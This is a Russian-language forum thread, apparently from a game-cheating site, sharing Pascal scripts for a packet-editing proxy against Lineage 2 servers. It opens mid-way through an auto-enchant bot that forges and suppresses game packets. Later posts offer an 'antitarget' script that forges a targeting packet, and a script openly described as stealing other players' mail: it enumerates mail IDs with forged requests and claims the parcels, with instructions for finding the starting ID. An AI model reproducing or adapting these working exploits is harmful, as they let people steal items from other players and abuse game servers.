  WriteMask('ddqhddhhhhhhhh',[ListID,EntryID,Amount,0,0,0,65534,0,0,0,0,0,0,0]);                   
  SendToServer;
end;

function AltGetItem(ID,lvl:integer) : integer;
var
  i : integer;
begin
  for i:=1 to max do
    if (ItemBase[2,i]=ID) and (Itembase[4,i]=lvl) then begin
      result:=ItemBase[1,i]; // itemOID
      exit;
    end;
  result:=0;
end;

procedure AltSearch;
begin
  CurEnchLvl:=0;
  if GetItem(arItemID[arPos],2,1)=-1 then exit;
  repeat
  arItemOID[arPos]:=AltGetItem(arItemID[arPos],CurEnchLvl);
  if arItemOID[arPos]=0 then inc(CurEnchLvl);
  until arItemOID[arPos]<>0;
end;

//............................................
//******************************************************************************
procedure OnTimer(Sender: TObject);
var ListId,EntryID:integer;
    MSstr:string;
begin
  case Step of  
  1: begin
        if AltOption=true then AltSearch else CurEnchLvl:=GetItem(arItemOID[arPos],1,4);
        if arEnchantMax[arPos]<CurEnchLvl then arEnchantMax[arPos]:=CurEnchLvl;
        if (CurEnchLvl>=arEnchantTo[arPos]) or error then begin
            if error then DebugSay('Ошибка! Невозможно найти/купить предмет/заточку. Переходим к следующему в очереди...');
            error:=false;
            repeat
                if (arPos+1)>=arLength then
                begin
                    DebugSay('Прервано! Очередь выполнена!');
                    started:=false;
                    timer.enabled:=false;
                    timer2.enabled:=false;
                    exit;
                 end;
                inc(arPos);
                DebugSay('Затачивается предмет №'+inttostr(arPos+1));
                if AltOption=true then AltSearch else CurEnchLvl:=GetItem(arItemOID[arPos],1,4);
            until CurEnchLvl<arEnchantTo[arPos];
            ScrollMSIndex:=Scrolls.IndexOfName(inttostr(arScrollID[arPos]));
            stries:=0;
            itries:=0;
        end;
        if adenabuying and (GetItem(57,2,3)<ColExchangeCondition) then   
        if GetItem(colid,2,1)=-1 then
            begin
                timer2.enabled:=false;
                if GetItem(arScrollID[arPos],2,1)=-1 then begin
                DebugSay('Прервано! Закончились предметы для обмена адены.');
                started:=false;
                timer.enabled:=false;
                timer2.enabled:=false;
                exit;
                end;
            end else 
            begin
                DebugSay('Обмениваем адену...');
                RequestBypassToServer(colMSBypass); 
                MultisellChoose(colMSListID,colMSEntryID,1);
                timer.interval:=2000;
                exit;                   
            end;
        if GetItem(arItemOID[arPos],1,3)=-1 then
        begin
            if AltOption then DebugSay('Сломаны все предметы.') else DebugSay('Предмет OID='+inttostr(arItemOID[arPos])+' сломан, ищем новый предмет...');
            if GetItem(arItemID[arPos],2,1)<>-1 then 
            begin
                arItemOID[arPos]:=GetItem(arItemID[arPos],2,1);
                CurEnchLvl:=GetItem(arItemOID[arPos],1,4);
                if not AltOption then DebugSay('Новый предмет найден. OID='+inttostr(arItemOID[arPos]));
                Step:=3; 
            end else if itembuying then Step:=2 else error:=true;      
        end else Step:=3;
        timer.interval:=10;           
     end;
  2: begin
        if GetItem(arItemID[arPos],2,1)=-1 then begin
            if (MultisellList.IndexOfName(inttostr(arItemID[arPos]))=-1) or (itries=5) then begin
                error:=true;
                Step:=1;
                exit;
            end;
            DebugSay('Пытаемся купить новый предмет.');
            timer.interval:=2000;
            MSstr:=MultisellList.Values[inttostr(arItemID[arPos])];
            ListID:=strtoint(Copy(MSstr,1,pos(',',MSstr)-1));
            Delete(MSstr,1,pos(',',MSstr));
            EntryID:=strtoint(Copy(MSstr,1,pos(',',MSstr)-1));
            Delete(MSstr,1,pos(',',MSstr));
            RequestBypassToServer(MSstr);
            MultisellChoose(ListID,EntryID,1);
            inc(itries);
        end else 
        begin
            itries:=0;
            arItemOID[arPos]:=GetItem(arItemID[arPos],2,1);
            CurEnchLvl:=GetItem(arItemOID[arPos],1,4);
            DebugSay('Новый предмет куплен. OID='+inttostr(arItemOID[arPos]));
            Step:=3;
            timer.interval:=10;
        end;
     end;
  3: begin
        ScrollOID:=GetItem(arScrollID[arPos],2,1);
        if ScrollOID<>-1 then
            begin
                timer.interval:=timerint11+round(random()*timerrandom);
                if pass2 then Step:=5 else Step:=4;
                timer.enabled:=false;
                UseItem(ScrollOID);
                DebugSay('Активирована заточка '+Scrolls.Values[inttostr(arScrollID[arPos])]);
            end else 
            begin
                if (scrollbuying=false) or (ScrollMSListEntry[2,ScrollMSIndex]=0) or (stries=5) then error:=true;
                Step:=1;
            end;
     end;  
  4: begin
        timer.interval:=timerint12+round(random()*timerrandom);
        RequestPutEnchantTargetItem(arItemOID[arPos]);
        DebugSay('Ложим предмет OID='+inttostr(arItemOID[arPos])+' в окно заточки');
        Step:=5;
        timer.enabled:=false;
     end;
  5: begin
        timer.interval:=timerint13+round(random()*timerrandom);
        RequestEnchantItem(arItemOID[arPos]);
        Step:=1;
        DebugSay('Посылаем запрос на заточку предмета. OID='+inttostr(arItemOID[arPos]));
        timer.enabled:=false;
     end;      
  end;
end;

procedure RequestBypassToServer(cmd : string);
begin
  buf:=#$23;
  WriteS(cmd);
  SendToServer;
end;
procedure OnTimer2(Sender: TObject);
begin
  if (scrollbuying=true) and (GetItem(arScrollID[arPos],2,3)<25) and (ScrollMSListEntry[2,ScrollMSIndex]<>0) then 
     begin
       DebugSay('Пытаемся купить заточки.');     
       RequestBypassToServer(ScrollMSBypass[ScrollMSIndex]);
       MultisellChoose(ScrollMSListEntry[1,ScrollMSIndex],ScrollMSListEntry[2,ScrollMSIndex],ScrollAmount); 
     end;
  if GetItem(arScrollID[arPos],2,3)<=0 then inc(stries) else stries:=0;
  timer2.interval:=timerint2+round(random()*timerrandom);
end;
 
begin
    if FromServer then
    case pck[1] of
        #$11 : CreateItemBase;
        #$21 : UpdateItemBase;
        #$D0 : begin
                MultiSellListCreate;
                if started and blockpck then pck:='';
               end; 
        #$7C : if started then 
                begin
                    if Step=4 then timer.enabled:=true;
                    if pass2 and (Step=5) then timer.enabled:=true;
                    if blockpck then pck:='';
                end; 
        #$FE : if started and (ReadH(2)=129) and (Step=5) then if ReadD(4)=0 then 
                begin
                    RequestExCancelEnchantItem;
                    DebugSay('Не совпадает сила действий свитка');
                    Step:=1;
                    timer.enabled:=true;
                end else timer.enabled:=true; 
        #$87 : if started then 
                begin
                    if Step=1 then timer.enabled:=true;
                    case ReadD(2) of
                        0:DebugSay('Успешно заточено до +'+inttostr(CurEnchLvl+1));
                        1:DebugSay('Неудачная заточка. Предмет разбит на кристаллы');
                        2:DebugSay('Заточка отменена');
                        3:DebugSay('Неудачная заточка. Уровень заточки = 0');
                        4:DebugSay('Неудачная заточка');
                        5:DebugSay('Неудачная безопасная заточка. Уровень заточки = '+inttostr(CurEnchLvl+1));
                    end;
                end; 
    end;
if FromClient and (pck[1]=#$56) and (ReadD(2)=12) then 
    begin
        ShowMenu(0);
        pck:='';
    end;
if FromClient and (pck[1]=#$23) then ExecuteCMD(ReadS(2));
end.
 
Последнее редактирование модератором:

Vasia

Пользователь
Регистрация
29 Авг 2011
Сообщения
16
Лайки
0
Баллы
0
2 вариант антитаргета.
- мы не можем пить банки , бафатся.
+антитаргет
+можно делать во время оли и не терять очки!
Код:
const
//======================================
Name='HARDporno'; //**<-----Ник Персонажа-=
//======================================
var
a:integer; b:boolean;
procedure Init;   
begin
SendMsc('Возьмя себя в таргет');
b:=false;
end;
procedure SendMsc(msc:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msc);
SendToClientEX(Name);
end;
begin
begin
if FromClient and (ConnectName=Name) and (pck[1]=#$04)and (not b) then 
begin
a:=ReadD(2);
SendMsc('Запомнен ObjectID = '+inttostr(a));
b:=true;
end;
end;
begin
If Fromclient and (ConnectName=Name) and (pck=hstr('38 2E 00 6F 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$9F;
WriteD(a);
buf:=buf+ hstr('01 00 00 00 05 4D 06 10 05 00 00 00');
SendToServerEX(Name);
end;
end;
end.
 

Antigrob

&#9742; - 911
Пользователь
Регистрация
3 Авг 2011
Сообщения
553
Лайки
10
Баллы
0
Думаю тема достойна степени "Важно", сообщения не содержащие материала по теме будут удалятся!
 

Vasia

Пользователь
Регистрация
29 Авг 2011
Сообщения
16
Лайки
0
Баллы
0
Скрипт для того чтобы воровать чужую почту.
Код:
const
name='name' ; //имя
a=777;  //с какого ИД почты начинаем
b=0; // где заканчиваем
 
var
 f:boolean;  
 i:integer; 
 j,k:integer; 
 timer1:ttimer; 
 
procedure OnTimer1(Sender: TObject);
begin
 buf:=#$D0#$6E#$00;
 writeD(i); 
 dec(i);
 sendtoserverex(name); 
end; 

procedure SndMsg(str:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(str);
SendToClientEx(Name);
end;
 
procedure Init; //Вызывается при выключении скрипта
begin
 Timer1:=TTimer.Create(nil);
 Timer1.OnTimer:[email protected];
 Timer1.interval:=700; 
 timer1.enabled:=false;
 i:=a;
 sndmsg ('Нажми соц. действие Да - для начала поиска.');
end;   

procedure FRee;
begin 
 timer1.enabled:=false;
 timer1.free;
end; 

begin

if fromclient and (connectname=name) and (pck[1]=#$56) and (readD(2)=24) then begin
 buf:=#$D0#$6E#$00;
 writeD(i); 
 dec(i);
 sendtoserverex(name); 
 timer1.enabled:=true;
end;

if fromclient and (connectname=name) and (pck[1]=#$56) and (readD(2)=25) then begin
 buf:=#$D0#$6A#$00;
 writeD(i+1); 
 sendtoserverex(name); 
 sndmsg('Получили посылку. нажми ДА для продолженния поиска посылок.');
end;

if fromserver and (connectname=name) and (pck[1]=#$FE) and (pck[2]=#$AD) then begin
 if (readD(4)<>0) then begin
  timer1.enabled:=false;
  sndmsg('Посылка найдена, ид '+inttostr(i+1)+'! Для продолжения поиска жми Да. Что бы получить посылку - жми НЕТ.');
 end;
end;

end.
Для определения последнего пакет достаточно отправить посылку другому чару, далее открываем окно отправленные посылки и смотрим пакет. Пакет будет вида
Код:
D0 6E 00 [COLOR="Yellow"]01 02 00 00[/COLOR]
,после меняем значения отмеченные жёлтым через Dword и получаем цифру в данном случае 513, это и есть ИД почты, подставляем после a=. В завершении включаем скрипт и в игре нажимаем соц дейстиве Yes, после того как скрипт найдёт посылку нажимаем No и предметы окажутся у вас.
 
Сверху